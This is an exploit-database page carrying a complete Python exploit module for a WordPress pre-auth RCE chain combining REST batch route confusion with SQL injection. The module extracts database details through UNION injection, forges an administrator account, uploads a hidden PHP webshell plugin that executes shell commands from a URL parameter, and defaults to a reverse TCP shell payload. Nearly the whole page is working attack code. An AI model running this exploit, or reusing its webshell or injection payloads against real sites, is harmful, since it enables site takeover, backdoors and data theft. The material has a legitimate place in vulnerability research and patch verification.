Lucene search
+L

WordPress wp2shell RCE (CVE-2026-63030 + CVE-2026-60137)

🗓️ 20 Jul 2026 16:32:03Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com👁 2 Views

Pre-auth RCE in WordPress via REST batch route confusion and WP_Query SQLi.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for CVE-2026-63030
21 Jul 202617:44
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-63030
17 Jul 202623:10
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-63030
19 Jul 202615:52
–githubexploit
githubexploit
GithubExploit
wp2shell-Exploit-Waf-Bypass
13 Aug 202609:12
–githubexploit
githubexploit
GithubExploit
wordpress_exploit
30 Sep 202612:06
–githubexploit
githubexploit
GithubExploit
Exploit for Interpretation Conflict in Wordpress
27 Jul 202604:45
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-60137
18 Jul 202606:40
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-63030
19 Jul 202614:07
–githubexploit
githubexploit
GithubExploit
Exploit for SQL Injection in Wordpress
5 Aug 202608:48
–githubexploit
githubexploit
GithubExploit
Exploit for CVE-2026-63030
19 Jul 202614:42
–githubexploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""CVE-2026-63030 + CVE-2026-60137 — WordPress wp2shell pre-auth RCE chain."""

from __future__ import annotations

import hashlib
import io
import json
import re
import secrets
import time
import urllib.parse
import uuid
import zipfile
from typing import Any, Dict, List, Optional, Tuple

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.wordpress import Wordpress
from lib.scanner.http.response_validation import is_html_response


class Module(Exploit, Http_client, Wordpress):
    __info__ = {
        "name": "WordPress wp2shell RCE (CVE-2026-63030 + CVE-2026-60137)",
        "description": (
            "Exploits CVE-2026-63030 (REST batch route confusion) chained with "
            "CVE-2026-60137 (WP_Query author__not_in SQLi) on WordPress 6.9.0-6.9.4 "
            "and 7.0.0-7.0.1: unauthenticated administrator creation, plugin upload, "
            "and command execution. Patched in 6.9.5 and 7.0.2."
        ),
        "author": ["KittySploit Team", "0xsha"],
        "cve": ["CVE-2026-63030", "CVE-2026-60137"],
        "references": [
            "https://github.com/0xsha/wp2shell",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-63030",
            "https://nvd.nist.gov/vuln/detail/CVE-2026-60137",
            "https://wp2shell.com",
        ],
        "platform": Platform.PHP,
        "arch": [Arch.PHP],
        "category": PayloadCategory.CMD,
        "payload": {
            "default": "payloads/singles/cmd/php/reverse_tcp",
            "arch": Arch.PHP,
            "platform": Platform.PHP,
            "category": PayloadCategory.CMD,
        },
        "tags": [
            "wordpress",
            "wp-core",
            "rest-api",
            "batch",
            "sqli",
            "rce",
            "pre-auth",
            "wp2shell",
            "cve-2026-63030",
            "cve-2026-60137",
        ],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 12,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "risk_signals", "rce"],
            "cost": 2.5,
            "noise": 0.8,
            "value": 1.0,
            "requires": {
                "tech_hints_any": ["wordpress"],
                "endpoint_pattern_any": ["/wp-json/batch/v1"],
                "param_any": ["author__not_in", "author_exclude"],
            },
            "chain": {
                "produces_capabilities": [
                    {"capability": "rce", "from_detail": "wp2shell admin creation chain"},
                    {"capability": "sqli", "from_detail": "CVE-2026-60137"},
                ],
                "suggested_followups": ["post/shell/multi/gather/privesc_suggester"],
            },
        },
    }

    cmd = OptString("id", "Command to run after webshell deployment", False)
    username = OptString("", "Existing admin username (skips pre-auth admin creation)", False)
    password = OptString("", "Existing admin password (used with USERNAME)", False)
    variant = OptString("posts", "Batch confusion carrier variant (posts|categories)", False, advanced=True)
    rest_route = OptBool(False, "Force /?rest_route=/batch/v1 instead of /wp-json/batch/v1", False, advanced=True)
    plugin_slug = OptString("", "Webshell plugin slug (random if empty)", False, advanced=True)

    def _wp_base(self) -> str:
        return self.wp_normalize_base_path(getattr(self, "path", "/"))

    @staticmethod
    def _batch_primer() -> dict:
        return {"method": "POST", "path": "///"}

    def _batch_path(self, use_rest_route: bool) -> str:
        root = self._wp_base().rstrip("/")
        if use_rest_route:
            return f"{root}/?rest_route=/batch/v1" if root else "/?rest_route=/batch/v1"
        return f"{root}/wp-json/batch/v1" if root else "/wp-json/batch/v1"

    def _resolve_batch_mode(self) -> bool:
        forced = bool(getattr(self, "rest_route", False))
        if forced:
            return True
        cached = getattr(self, "_batch_rest_route", None)
        if cached is not None:
            return cached
        for use_rr in (False, True):
            response = self._batch_post([], use_rest_route=use_rr, timeout=10)
            if response and int(response.status_code or 0) == 207:
                self._batch_rest_route = use_rr
                return use_rr
        self._batch_rest_route = False
        return False

    def _batch_post(self, requests: List[dict], *, use_rest_route: bool, timeout: int = 30):
        return self.http_request(
            method="POST",
            path=self._batch_path(use_rest_route),
            data=json.dumps({"requests": requests}),
            headers={"Content-Type": "application/json"},
            timeout=timeout,
        )

    @staticmethod
    def _walk_codes(value: Any, out: Optional[set] = None) -> set:
        if out is None:
            out = set()
        if isinstance(value, dict):
            code = value.get("code")
            if isinstance(code, str):
                out.add(code)
            for item in value.values():
                Module._walk_codes(item, out)
        elif isinstance(value, list):
            for item in value:
                Module._walk_codes(item, out)
        return out

    def _batch_json(self, response) -> Any:
        if not response:
            return None
        try:
            return response.json()
        except Exception:
            try:
                return json.loads(response.text or "")
            except Exception:
                return None

    def _inject_payload(self, author_not_in: str, use_rest_route: bool):
        encoded = urllib.parse.quote(author_not_in, safe="")
        if str(self.variant or "posts") == "categories":
            inner_requests = [
                self._batch_primer(),
                {"method": "GET", "path": f"/wp/v2/categories?author_exclude={encoded}"},
                {"method": "GET", "path": "/wp/v2/posts"},
            ]
            carrier = {
                "method": "POST",
                "path": "/wp/v2/categories",
                "body": {"name": f"x{secrets.token_hex(3)}", "requests": inner_requests},
            }
        else:
            inner = {"requests": [
                self._batch_primer(),
                {"method": "GET", "path": f"/wp/v2/users?author_exclude={encoded}"},
                {"method": "GET", "path": "/wp/v2/posts"},
            ]}
            carrier = {"method": "POST", "path": "/wp/v2/posts", "body": inner}
        return self._batch_post(
            [
                self._batch_primer(),
                carrier,
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ],
            use_rest_route=use_rest_route,
        )

    def _union_inject(self, author_not_in: str, use_rest_route: bool):
        query = urllib.parse.urlencode(
            {"author_exclude": author_not_in, "orderby": "none", "per_page": "500"}
        )
        inner = [
            self._batch_primer(),
            {"method": "GET", "path": f"/wp/v2/posts/999999?{query}"},
            {"method": "GET", "path": "/wp/v2/posts"},
        ]
        return self._batch_post(
            [
                self._batch_primer(),
                {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": inner}},
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ],
            use_rest_route=use_rest_route,
            timeout=45,
        )

    def _inject_rows(self, response) -> Optional[list]:
        try:
            payload = self._batch_json(response)
            inner = payload["responses"][1]["body"]
            result = inner["responses"][1]["body"]
        except (KeyError, IndexError, TypeError):
            return None
        return result if isinstance(result, list) else None

    def _sqli_true(self, condition: str, use_rest_route: bool) -> bool:
        return bool(self._inject_rows(self._inject_payload(f"0) AND ({condition})-- -", use_rest_route)))

    def _confusion_active(self, use_rest_route: bool) -> bool:
        response = self._batch_post(
            [
                self._batch_primer(),
                {"method": "POST", "path": "/wp/v2/posts"},
                {"method": "POST", "path": "/wp/v2/block-renderer/core/paragraph"},
                {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
            ],
            use_rest_route=use_rest_route,
        )
        payload = self._batch_json(response)
        return "block_cannot_read" in self._walk_codes(payload)

    def _union_available(self, use_rest_route: bool) -> bool:
        return self._union_read("SELECT 0x4f4b", use_rest_route) == "OK"

    def _union_read(self, expr: str, use_rest_route: bool) -> Optional[str]:
        response = self._union_inject(f"0) UNION SELECT {self._union_columns(expr)}-- -", use_rest_route)
        if not response:
            return None
        match = re.search(r"\|\|([0-9A-Fa-f]*)\|\|", response.text or "")
        if not match:
            return None
        digits = match.group(1)
        if len(digits) % 2:
            digits = digits[:-1]
        try:
            return bytes.fromhex(digits).decode("utf-8", "replace")
        except ValueError:
            return None

    def _union_columns(self, expr: str) -> str:
        publish = "0x7075626c697368"
        post_type = "0x706f7374"
        date_hex = "0x323032302d30312d30312030303a30303a3030"
        cols = []
        for index in range(1, 24):
            if index == 1:
                cols.append("999999")
            elif index in (3, 4, 15, 16):
                cols.append(date_hex)
            elif index == 6:
                cols.append(f"CONCAT(0x7c7c,HEX(CAST(({expr})AS CHAR)),0x7c7c)")
            elif index == 8:
                cols.append(publish)
            elif index == 21:
                cols.append(post_type)
            else:
                cols.append(str(index))
        return ",".join(cols)

    @staticmethod
    def _mysql_hex(text: str) -> str:
        return f"0x{text.encode().hex()}" if text else "''"

    def _wp_posts_tuple(
        self,
        row_id: int,
        *,
        body: str = "",
        title: str = "",
        status: str = "publish",
        slug: str = "",
        parent: int = 0,
        kind: str = "post",
        author: int = 1,
    ) -> str:
        post_date = "2020-01-01 00:00:00"
        cols = [
            str(row_id), str(author), self._mysql_hex(post_date), self._mysql_hex(post_date),
            self._mysql_hex(body), self._mysql_hex(title), "''", self._mysql_hex(status),
            self._mysql_hex("closed"), self._mysql_hex("closed"), "''", self._mysql_hex(slug), "''", "''",
            self._mysql_hex(post_date), self._mysql_hex(post_date), "''", str(parent), "''", "0",
            self._mysql_hex(kind), "''", "0",
        ]
        return ",".join(cols)

    def _rest_get(self, route: str, params: Optional[dict] = None):
        root = self._wp_base().rstrip("/")
        use_rr = self._resolve_batch_mode()
        if use_rr:
            query = {"rest_route": route}
            if params:
                query.update(params)
            path = f"{root}/?{urllib.parse.urlencode(query)}" if root else f"/?{urllib.parse.urlencode(query)}"
        else:
            query = urllib.parse.urlencode(params or {})
            suffix = f"?{query}" if query else ""
            path = f"{root}/wp-json{route}{suffix}" if root else f"/wp-json{route}{suffix}"
        return self.http_request(method="GET", path=path, timeout=int(self.timeout or 15))

    def _posts_table(self, use_rest_route: bool) -> str:
        table = self._union_read(
            "SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE() "
            "AND RIGHT(TABLE_NAME,6)=0x5f706f737473 ORDER BY CHAR_LENGTH(TABLE_NAME),TABLE_NAME LIMIT 1",
            use_rest_route,
        )
        if not table or not re.fullmatch(r"[A-Za-z0-9_$]+", table):
            raise RuntimeError("could not recover wp_posts table name")
        return table

    def _first_admin_id(self, prefix: str, use_rest_route: bool) -> int:
        cap = self._mysql_hex(prefix + "capabilities")
        ser = self._mysql_hex('s:13:"administrator";b:1;')
        admin_id = self._union_read(
            f"SELECT u.ID FROM `{prefix}users` u JOIN `{prefix}usermeta` m ON m.user_id=u.ID "
            f"WHERE m.meta_key={cap} AND INSTR(m.meta_value,{ser})>0 ORDER BY u.ID LIMIT 1",
            use_rest_route,
        )
        if not admin_id or not admin_id.strip().isdigit() or int(admin_id) < 1:
            raise RuntimeError("could not find an existing administrator ID")
        return int(admin_id)

    def _public_post_link(self) -> str:
        response = self._rest_get("/wp/v2/posts", {"per_page": "1", "_fields": "link"})
        if not response or int(response.status_code or 0) != 200:
            raise RuntimeError("could not query public posts")
        try:
            posts = response.json()
        except Exception:
            posts = json.loads(response.text or "[]")
        if isinstance(posts, list) and posts and posts[0].get("link"):
            return posts[0]["link"]
        raise RuntimeError("could not find a public post link (need ≥1 published post)")

    def _loopback_embed_urls(self, nonce: str) -> List[str]:
        link = self._public_post_link()
        parts = urllib.parse.urlsplit(link)
        return [
            urllib.parse.urlunsplit((parts.scheme, parts.netloc, parts.path, parts.query, f"{nonce}{index}"))
            for index in range(3)
        ]

    def _render_union_posts(self, rows: List[str], use_rest_route: bool, tail: Optional[List[dict]] = None):
        union = "1) AND 1=0 UNION ALL SELECT " + " UNION ALL SELECT ".join(rows) + " -- -"
        requests = [
            {"method": "GET", "path": "http://:"},
            {
                "method": "GET",
                "path": "/wp/v2/widgets?"
                + urllib.parse.urlencode(
                    {"author_exclude": union, "per_page": -1, "orderby": "none", "context": "view"}
                ),
            },
            {"method": "GET", "path": "/wp/v2/posts"},
        ]
        if tail:
            requests.extend(tail)
        response = self._batch_post(
            [
                {"method": "POST", "path": "http://:"},
                {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": requests}},
                {"method": "POST", "path": "/batch/v1"},
            ],
            use_rest_route=use_rest_route,
            timeout=60,
        )
        if not response or int(response.status_code or 0) >= 400:
            raise RuntimeError(f"union batch failed (HTTP {getattr(response, 'status_code', '?')})")

    def _oembed_backing_ids(self, posts_table: str, embeds: List[str], use_rest_route: bool) -> List[int]:
        ids = []
        for url in embeds:
            oembed_size = 'a:2:{s:5:"width";s:3:"500";s:6:"height";s:3:"750";}'
            cache = hashlib.md5((url + oembed_size).encode()).hexdigest()
            value = self._union_read(
                f"SELECT ID FROM `{posts_table}` WHERE post_type=0x6f656d6265645f6361636865 "
                f"AND post_name=0x{cache.encode().hex()} ORDER BY ID DESC LIMIT 1",
                use_rest_route,
            )
            if not value or not value.strip().isdigit():
                raise RuntimeError(f"could not recover oEmbed cache post ID for {url}")
            ids.append(int(value))
        if len(set(ids)) != 3:
            raise RuntimeError(f"expected three unique oEmbed cache IDs, got {ids}")
        return ids

    def _changeset_payload(self, nav_item_id: int, user_id: int) -> str:
        return json.dumps(
            {
                f"nav_menu_item[{nav_item_id}]": {
                    "type": "nav_menu_item",
                    "user_id": user_id,
                    "value": {
                        "object_id": 0,
                        "object": "",
                        "menu_item_parent": 0,
                        "position": 0,
                        "type": "custom",
                        "title": "generated",
                        "url": "https://example.invalid/",
                        "target": "",
                        "attr_title": "",
                        "description": "",
                        "classes": "",
                        "xfn": "",
                        "status": "publish",
                        "nav_menu_term_id": 0,
                        "_invalid": False,
                    },
                }
            },
            separators=(",", ":"),
        )

    def _create_admin(self) -> Tuple[str, str, str]:
        use_rr = self._resolve_batch_mode()
        if not self._union_available(use_rr):
            raise RuntimeError("UNION primitive unavailable (patched, filtered, or object cache active)")

        nonce = secrets.token_hex(6)
        embeds = self._loopback_embed_urls(nonce)
        seed = "".join(f'[embed width="500" height="750"]{url}[/embed]' for url in embeds)
        self._render_union_posts([self._wp_posts_tuple(0, body=seed, title="seed", slug="seed")], use_rr)

        posts_table = self._posts_table(use_rr)
        prefix = posts_table[:-5]
        source_admin_id = self._first_admin_id(prefix, use_rr)
        backing = self._oembed_backing_ids(posts_table, embeds, use_rr)

        username = f"ks_{nonce}"
        password = f"Ks!{secrets.token_urlsafe(15)}"
        email = f"{username}@kittysploit.invalid"
        user_body = {"username": username, "password": password, "email": email, "roles": ["administrator"]}

        outer_id = 1800000000 + secrets.randbelow(100000000)
        nav_item_id = outer_id + 1
        inner_id = outer_id + 2
        changeset_id, cache_id, request_id = backing
        rows = [
            self._wp_posts_tuple(
                0,
                body=f'[embed width="500" height="750"]{embeds[1]}[/embed]',
                title="trigger",
                slug="trigger",
            ),
            self._wp_posts_tuple(
                changeset_id,
                body=self._changeset_payload(nav_item_id, source_admin_id),
                title="changeset",
                status="future",
                slug=str(uuid.uuid4()),
                parent=outer_id,
                kind="customize_changeset",
            ),
            self._wp_posts_tuple(outer_id, body="outer", title="outer", status="draft", slug="outer", parent=changeset_id),
            self._wp_posts_tuple(cache_id, title="cache", slug="cache", parent=changeset_id),
            self._wp_posts_tuple(nav_item_id, body="nav", title="nav", slug="nav", parent=request_id, kind="nav_menu_item"),
            self._wp_posts_tuple(request_id, body="parse", title="parse", status="parse", slug="parse", parent=inner_id, kind="request"),
            self._wp_posts_tuple(inner_id, body="inner", title="inner", status="draft", slug="inner", parent=request_id),
        ]
        self._render_union_posts(
            rows,
            use_rr,
            tail=[
                {"method": "POST", "path": "/wp/v2/users", "body": user_body},
                {"method": "POST", "path": "/wp/v2/users", "body": user_body},
            ],
        )
        return username, password, email

    def _detect_wp_version(self) -> Optional[Tuple[int, int, int]]:
        for path in (self.wp_json_index_path(self._wp_base()), f"{self._wp_base().rstrip('/')}/feed/"):
            response = self.http_request(method="GET", path=path, timeout=10)
            text = (response.text or "") if response else ""
            for pattern in (
                r'"generator":"[^"]*?(\d+\.\d+(?:\.\d+)?)"',
                r"[?&]v=(\d+\.\d+(?:\.\d+)?)",
                r'WordPress\s+(\d+\.\d+(?:\.\d+)?)',
            ):
                match = re.search(pattern, text, re.IGNORECASE)
                if match:
                    parts = [int(part) for part in match.group(1).split(".")[:3]]
                    while len(parts) < 3:
                        parts.append(0)
                    return tuple(parts[:3])
        return None

    def _chain_version_ok(self, version: Optional[Tuple[int, int, int]]) -> Optional[bool]:
        if not version:
            return None
        full_chain = frozenset((6, 9, n) for n in range(5)) | frozenset(((7, 0, 0), (7, 0, 1)))
        if version in full_chain:
            return True
        if self.wp_version_to_tuple(".".join(map(str, version))) >= self.wp_version_to_tuple("7.0.2"):
            return False
        return None

    def _plugin_upload_nonce(self, html: str) -> Optional[str]:
        match = re.search(
            r'action="[^"]*action=upload-plugin".*?name="_wpnonce"[^>]*value="([0-9a-f]+)"',
            html or "",
            re.S,
        )
        if match:
            return match.group(1)
        match = re.search(r'<input[^>]*name="_wpnonce"[^>]*value="([0-9a-f]+)"', html or "")
        return match.group(1) if match else None

    def _webshell_zip(self, slug: str, token: str) -> bytes:
        php_body = self._payload_php(token)
        buffer = io.BytesIO()
        with zipfile.ZipFile(buffer, "w", zipfile.ZIP_DEFLATED) as archive:
            archive.writestr(f"{slug}/{slug}.php", php_body)
        return buffer.getvalue()

    def _payload_php(self, token: str) -> str:
        header = (
            "<?php\n"
            "/*\nPlugin Name: KittySploit wp2shell\nDescription: CVE-2026-63030 PoC\n*/\n"
        )
        framework = self.payload
        if isinstance(framework, bytes):
            framework = framework.decode("utf-8", errors="replace")
        framework = str(framework or "").strip()
        if framework:
            body = framework[5:].lstrip() if framework.startswith("<?php") else framework
            return (
                header
                + f"if (hash_equals('{token}', (string)($_GET['t'] ?? ''))) {{\n"
                + body
                + "\n}\n"
            )
        return (
            header
            + f"if (hash_equals('{token}', (string)($_GET['t'] ?? '')) && isset($_GET['c'])) {{\n"
            + "    echo 'WP2SHELL::' . shell_exec((string)$_GET['c']) . '::END';\n"
            + "}\n"
        )

    def _admin_login(self, user: str, passwd: str) -> bool:
        login = f"{self._wp_base().rstrip('/')}/wp-login.php" if self._wp_base() != "/" else "/wp-login.php"
        self.http_request(method="GET", path=login, session=True, timeout=15)
        response = self.http_request(
            method="POST",
            path=login,
            data={
                "log": user,
                "pwd": passwd,
                "wp-submit": "Log In",
                "redirect_to": f"{self._wp_base().rstrip('/') or ''}/wp-admin/",
                "testcookie": "1",
            },
            headers={"Content-Type": "application/x-www-form-urlencoded"},
            session=True,
            timeout=15,
        )
        if not response or not getattr(response, "session", None):
            return False
        for cookie in response.session.cookies:
            if cookie.name.startswith("wordpress_logged_in"):
                return True
        return "wp-admin" in (response.url or "") or "dashboard" in (response.text or "").lower()

    def _deploy_webshell(self, slug: str, token: str) -> str:
        upload_page = "/wp-admin/plugin-install.php?tab=upload"
        response = self.http_request(method="GET", path=upload_page, session=True, timeout=20)
        html = (response.text or "") if response else ""
        nonce = self._plugin_upload_nonce(html)
        if not nonce:
            raise RuntimeError("plugin-upload nonce not found (login failed or insufficient privileges)")

        zip_bytes = self._webshell_zip(slug, token)
        files = {"pluginzip": (f"{slug}.zip", zip_bytes, "application/zip")}
        data = {
            "_wpnonce": nonce,
            "_wp_http_referer": upload_page,
            "install-plugin-submit": "Install Now",
        }
        self.http_request(
            method="POST",
            path="/wp-admin/update.php?action=upload-plugin",
            data=data,
            files=files,
            session=True,
            timeout=30,
        )
        return f"{self._wp_base().rstrip('/')}/wp-content/plugins/{slug}/{slug}.php"

    def _run_webshell(self, shell_path: str, token: str, command: str) -> Optional[str]:
        root = self._wp_base().rstrip("/")
        rel = shell_path.replace(root, "") if root and shell_path.startswith(root) else shell_path
        if not rel.startswith("/"):
            rel = "/" + rel.lstrip("/")
        query = urllib.parse.urlencode({"t": token, "c": command})
        response = self.http_request(method="GET", path=f"{rel}?{query}", timeout=20)
        if not response or is_html_response(response):
            return None
        text = response.text or ""
        match = re.search(r"WP2SHELL::(.*?)::END", text, re.S)
        return match.group(1).strip() if match else text.strip()

    def check(self):
        try:
            use_rr = self._resolve_batch_mode()
            probe = self._batch_post([], use_rest_route=use_rr, timeout=10)
        except Exception as exc:
            return {"vulnerable": False, "reason": f"target unreachable: {exc}", "confidence": "low"}

        if not probe or int(probe.status_code or 0) != 207:
            return {
                "vulnerable": False,
                "reason": "batch endpoint not reachable or not unauthenticated (expected HTTP 207)",
                "confidence": "medium",
            }

        version = self._detect_wp_version()
        version_hint = self._chain_version_ok(version)
        if version_hint is False:
            return {
                "vulnerable": False,
                "reason": f"WordPress {'.'.join(map(str, version))} patched for wp2shell",
                "confidence": "high",
            }

        confusion = self._confusion_active(use_rr)
        sqli = self._sqli_true("1=1", use_rr) and not self._sqli_true("1=0", use_rr)

        if confusion and sqli:
            return {
                "vulnerable": True,
                "reason": "CVE-2026-63030 route confusion + CVE-2026-60137 SQLi confirmed",
                "confidence": "high",
            }
        if confusion:
            return {
                "vulnerable": True,
                "reason": "CVE-2026-63030 route confusion confirmed; SQLi sink not reacting",
                "confidence": "medium",
            }
        if sqli:
            return {
                "vulnerable": True,
                "reason": "CVE-2026-60137 SQLi confirmed; confusion markers absent",
                "confidence": "medium",
            }
        if version_hint:
            return {
                "vulnerable": True,
                "reason": f"WordPress {'.'.join(map(str, version))} in vulnerable range; chain not proven active",
                "confidence": "medium",
            }
        return {
            "vulnerable": False,
            "reason": "wp2shell chain not confirmed (patched, filtered, or persistent object cache)",
            "confidence": "medium",
        }

    def run(self):
        try:
            print_status("CVE-2026-63030 + CVE-2026-60137 — WordPress wp2shell")

            result = self.check()
            if not result.get("vulnerable"):
                print_error(result.get("reason", "Target does not appear vulnerable"))
                self.not_vulnerable()
                return False
            print_success(result.get("reason", "Target appears vulnerable"))

            user = str(self.username or "").strip()
            passwd = str(self.password or "").strip()
            if user and passwd:
                print_info(f"Using supplied credentials for {user!r}")
            else:
                print_status("Creating administrator via UNION/customizer chain...")
                user, passwd, email = self._create_admin()
                print_success(f"Administrator created: {user} / {passwd} ({email})")

            print_status(f"Authenticating as {user!r}...")
            if not self._admin_login(user, passwd):
                print_error("Admin login failed")
                return False
            print_success("Authenticated")

            slug = str(self.plugin_slug or "").strip() or f"ks_{secrets.token_hex(4)}"
            token = secrets.token_hex(16)
            print_status("Uploading webshell plugin...")
            shell_path = self._deploy_webshell(slug, token)
            print_success(f"Webshell deployed: {shell_path}")

            command = str(self.cmd or "id").strip()
            time.sleep(1.0)
            output = self._run_webshell(shell_path, token, command)
            if output is None and str(self.payload or "").strip():
                print_info("Framework payload deployed — verify listener for reverse_tcp callback")
            elif output:
                print_success(f"Command output ({command}):")
                print_info(output)
            else:
                print_warning("Webshell uploaded but command returned no output")

            self.vulnerable()
            return True

        except Exception as exc:
            print_error(f"Exploitation failed: {exc}")
            return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Sep 2026 12:42Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
EPSS0.10649
SSVC
2